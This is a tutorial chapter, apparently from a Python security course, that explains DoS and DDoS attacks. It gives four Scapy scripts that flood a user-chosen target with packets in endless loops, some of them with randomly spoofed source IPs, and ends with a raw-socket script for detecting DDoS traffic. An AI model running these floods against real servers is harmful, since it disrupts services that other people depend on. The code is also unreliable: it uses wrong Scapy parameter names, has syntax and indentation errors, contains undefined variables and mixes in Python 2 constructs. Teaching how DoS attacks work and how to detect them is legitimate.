DoS & DDoS attack

In this chapter, we will learn about the DoS and DdoS attack and understand how to detect them.

With the boom in the e-commerce industry, the web server is now prone to attacks and is an easy target for the hackers. Hackers usually attempt two types of attack −

- DoS (Denial-of-Service)
- DDoS (Distribted Denial of Service)

DoS (Denial-of-Service) Attack

The Denial of Service (DoS) attack is an attempt by hackers to make a network resource unavailable. It usually interrupts the host, temporary or indefinitely, which is connected to the Internet. These attacks typically target services hosted on mission critical web servers such as banks, credit card payment gateways.

Symptoms of DoS attack

- Unusually slow network performance.
- Unavailability of a particular web site.
- Inability to access any web site.
- Dramatic increase in the number of spam emails received.
- Long-term denial of access to the web or any Internet services.
- Unavailability of a particular website.

Types of DoS Attack & its Python Implementation

DoS attack can be implemented at the data link, network or application layer. Let us now learn about the different types of DoS attacks &; their implementation in Python −

Single IP single port

A large number of packets are sent to web server by using single IP and from single port number. It is a low-level attack which is used to check the behavior of the web server. Its

implementation in Python can be done with the help of Scapy. The following python script will help implement Single IP single port DoS attack −

```
from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1

while True:
   IP1 = IP(source_IP = source_IP, destination = target_IP)
   TCP1 = TCP(srcport = source_port, dstport = 80)
   pkt = IP1 / TCP1
   send(pkt, inter = .001)

   print ("packet sent ", i)
      i = i + 1
```

Upon execution, the above script will ask for the following three things −

- IP address of source and target.
- IP address of source port number.
- It will then send a large number of packets to the server for checking its behavior.

Single IP Multiple port

A large number of packets are sent to web server by using single IP and from multiple ports. Its implementation in Python can be done with the help of Scapy. The following python script will help implement Single IP multiple port DoS attack −

```
from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
i = 1

while True:
   for source_port in range(1, 65535)
      IP1 = IP(source_IP = source_IP, destination = target_IP)
      TCP1 = TCP(srcport = source_port, dstport = 80)
      pkt = IP1 / TCP1
      send(pkt, inter = .001)

      print ("packet sent ", i)
         i = i + 1
```

Multiple IP single port

A large number of packets are sent to web server by using multiple IP and from single port number. Its implementation in Python can be done with the help of Scapy. The following Python script implement Single IP multiple port DoS attack −

```
from scapy.all import *
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1

while True:
   a = str(random.randint(1,254))
   b = str(random.randint(1,254))
   c = str(random.randint(1,254))
   d = str(random.randint(1,254))
   dot = “.”

   Source_ip = a + dot + b + dot + c + dot + d
   IP1 = IP(source_IP = source_IP, destination = target_IP)
   TCP1 = TCP(srcport = source_port, dstport = 80)
   pkt = IP1 / TCP1
   send(pkt,inter = .001)
   print ("packet sent ", i)
      i = i + 1
```

Multiple IP multiple port

A large number of packets are send to web server by using multiple IPs and from multiple ports. Its implementation in Python can be done with the help of Scapy. The following Python script helps implement Multiple IPs multiple port DoS attack −

```
Import random
from scapy.all import *
target_IP = input("Enter IP address of Target: ")
i = 1

while True:
   a = str(random.randint(1,254))
   b = str(random.randint(1,254))
   c = str(random.randint(1,254))
   d = str(random.randint(1,254))
   dot = “.”
   Source_ip = a + dot + b + dot + c + dot + d

   for source_port in range(1, 65535)
      IP1 = IP(source_IP = source_IP, destination = target_IP)
      TCP1 = TCP(srcport = source_port, dstport = 80)
      pkt = IP1 / TCP1
      send(pkt,inter = .001)
```

```
      print ("packet sent ", i)
         i = i + 1
```

DDoS (Distributed Denial-of-Service) Attack

A Distributed Denial of Service (DDoS) attack is an attempt to make an online service or a website unavailable by overloading it with huge floods of traffic generated from multiple sources.

Unlike a Denial of Service (DoS) attack, in which one computer and one Internet connection is used to flood a targeted resource with packets, a DDoS attack uses many computers and many Internet connections, often distributed globally in what is referred to as a botnet. A large-scale volumetric DDoS attack can generate a traffic measured in tens of Gigabits (and even hundreds of Gigabits) per second. It can be read in detail at https://www.tutorialspoint.com/ethical_hacking/ethical_hacking_ddos_attacks.htm .

Detection of DDoS using Python

Actually DDoS attack is a bit difficult to detect because you do not know the host that is sending the traffic is a fake one or real. The Python script given below will help detect the DDoS attack.

To begin with, let us import the necessary libraries −

```
import socket
import struct

from datetime import datetime
```

Now, we will create a socket as we have created in previous sections too.

```
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, 8)
```

We will use an empty dictionary −

```
dict = {}
```

The following line of code will open a text file, having the details of DDoS attack in append mode.

```
file_txt = open("attack_DDoS.txt",'a')
t1 = str(datetime.now())
```

With the help of following line of code, current time will be written whenever the program runs.

```
file_txt.writelines(t1)
file_txt.writelines("\n")
```

Now, we need to assume the hits from a particular IP. Here we are assuming that if a particular IP is hitting for more than 15 times then it would be an attack.

```
No_of_IPs = 15
R_No_of_IPs = No_of_IPs +10
   while True:
      pkt = s.recvfrom(2048)
      ipheader = pkt[0][14:34]
      ip_hdr = struct.unpack("!8sB3s4s4s",ipheader)
      IP = socket.inet_ntoa(ip_hdr[3])
      print "The Source of the IP is:", IP
```

The following line of code will check whether the IP exists in dictionary or not. If it exists then it will increase it by 1.

```
if dict.has_key(IP):
   dict[IP] = dict[IP]+1
   print dict[IP]
```

The next line of code is used to remove redundancy.

```
if(dict[IP] > No_of_IPs) and (dict[IP] < R_No_of_IPs) :
   line = "DDOS attack is Detected: "
   file_txt.writelines(line)
   file_txt.writelines(IP)
   file_txt.writelines("\n")
else:
   dict[IP] = 1
```

After running the above script, we will get the result in a text file. According to the script, if an IP hits for more than 15 times then it would be printed as DDoS attack is detected along with that IP address.

Useful Video Courses